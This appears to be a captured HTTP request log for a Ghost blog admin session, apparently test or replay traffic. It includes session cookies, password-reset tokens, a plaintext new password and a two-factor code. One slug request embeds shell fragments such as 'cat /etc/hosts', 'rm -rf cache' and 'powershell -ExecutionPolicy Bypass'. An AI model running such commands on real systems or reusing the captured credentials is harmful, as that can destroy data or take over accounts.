{"method": "GET", "target": "/ghost/assets/analytics-Cnmm84rB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-check-theme-limit-error-cdxVti9_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-query-params-Db2_7OQG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/stripe-button-B_jqNRxG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tier-detail-preview-BQcFMMKy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-url-input-BYvhvRBx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/format-url-AXIF9pWF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1369", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"whatsNew\\\":{\\\"lastSeenDate\\\":\\\"2026-11-11T11:54:12.801Z\\\"},\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
{"method": "GET", "target": "/ghost/assets/signin-DyvUc-9g.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 50", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"email\":\"alice@example.com\"}]}"}
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDU2OTEzMnxhbGljZUBleGFtcGxlLmNvbXw0K05heDREb1JvdDJ0eFRKOGZ3cWJQNGlNS2NLSU1LMHJCZmoyT0xXcHdVPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/reset-CSFWz6q9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDU4MTQyOHxhbGljZUBleGFtcGxlLmNvbXxhaEY2WkdnSCtjVi81dVZUbHZDSnI4OFI1SkRRUC9nRnIxVXBvS3hwMExJPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 205", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"token\":\"MTc5NDQ4NDU4MTQyOHxhbGljZUBleGFtcGxlLmNvbXxhaEY2WkdnSCtjVi81dVZUbHZDSnI4OFI1SkRRUC9nRnIxVXBvS3hwMExJPQ\",\"newPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"ne2Password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
{"method": "GET", "target": "/ghost/assets/overview-BDaNMWAn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/post-utils-BquGrXlP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/post-helpers-LZp03sYO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/date-utils-z22LS7qM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/date-range-select-BlnphfjU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/card-DPXlaRvx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/gh-chart-BI-8tErJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chart-Cf6NuIj-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pagemenu-65l5c8WQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/kpi-card-CHygnBnv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trend-badge-wNKjMxTt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/stats-view-BK_XhwrN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/list-page-CnIBL9cj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-analytics-data-D2HOTQf5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-growth-stats-Bgr_JFJl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/audience-CXSF0dEC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/url-helpers-mynMXAVw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/post-share-modal-If8BRdxt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/feature-image-placeholder-CS1tmsUg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDYxOTgyOXxhbGljZUBleGFtcGxlLmNvbXxDSkJhVE1BU3RrYmFWTE90ZG1sMjlrbk5LOUk0WS9yU3BmQXRZZEFSZTFnPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 205", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"token\":\"MTc5NDQ4NDYxOTgyOXxhbGljZUBleGFtcGxlLmNvbXxDSkJhVE1BU3RrYmFWTE90ZG1sMjlrbk5LOUk0WS9yU3BmQXRZZEFSZTFnPQ\",\"newPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"ne2Password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
{"method": "GET", "target": "/ghost/assets/signin-verify-Bf6SrUvA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/session/verify/", "headers": ["Host: example.com", "Content-Length: 18", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"token\":\"172997\"}"}
{"method": "GET", "target": "/ghost/api/admin/snippets/?limit=all&formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished&fields=id%2Curl%2Ctitle%2Cvisibility%2Cpublished_at&order=published_at+desc&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/slugs/post/using-python3-and-ls-la-to-tidy-htaccess-filesa-short-guide-for-site-owners-powershell-python3-and-the-shell-getting-started-run-ls-la-in-your-web-root-then-open-the-htaccess-guide-on-windows-use-powershell-instead-its-the-same-idea-a-small-script-usr-bin-env-python3-import-os-subprocess-for-name-in-sorted-os-listdir-print-name-subprocess-run-ls-la-var-www-html-check-true-cat-etc-hosts-grep-example-ls-la-var-www-html-htaccess-chmod-644-htaccess-mysql-e-select-id-title-from-posts-where-status-published-order-by-id-desc-limit-5-document-queryselectorall-a-foreach-a-gt-console-log-a-href-window-onload-gt-alert-ready-keep-your-htaccess-small-said-one-reader-and-python3-agrees-python3-m-venv-venv-amp-amp-source-venv-bin-activatepowershell-executionpolicy-bypass-file-build-ps1edit-etc-nginx-sites-available-default-then-reload-back-up-wp-config-php-and-envrun-rm-rf-cache-questions-email-help-example-com-or-see-the-search-page/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/slugs/post/using-python3-and-ls-la-to-tidy-htaccess-files/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/posts/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 509", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
{"method": "GET", "target": "/ghost/api/admin/newsletters/?limit=all&include=count.active_members", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?filter=&order=id&limit=1&page=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/email_previews/posts/6af45887d281b00001a59965/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
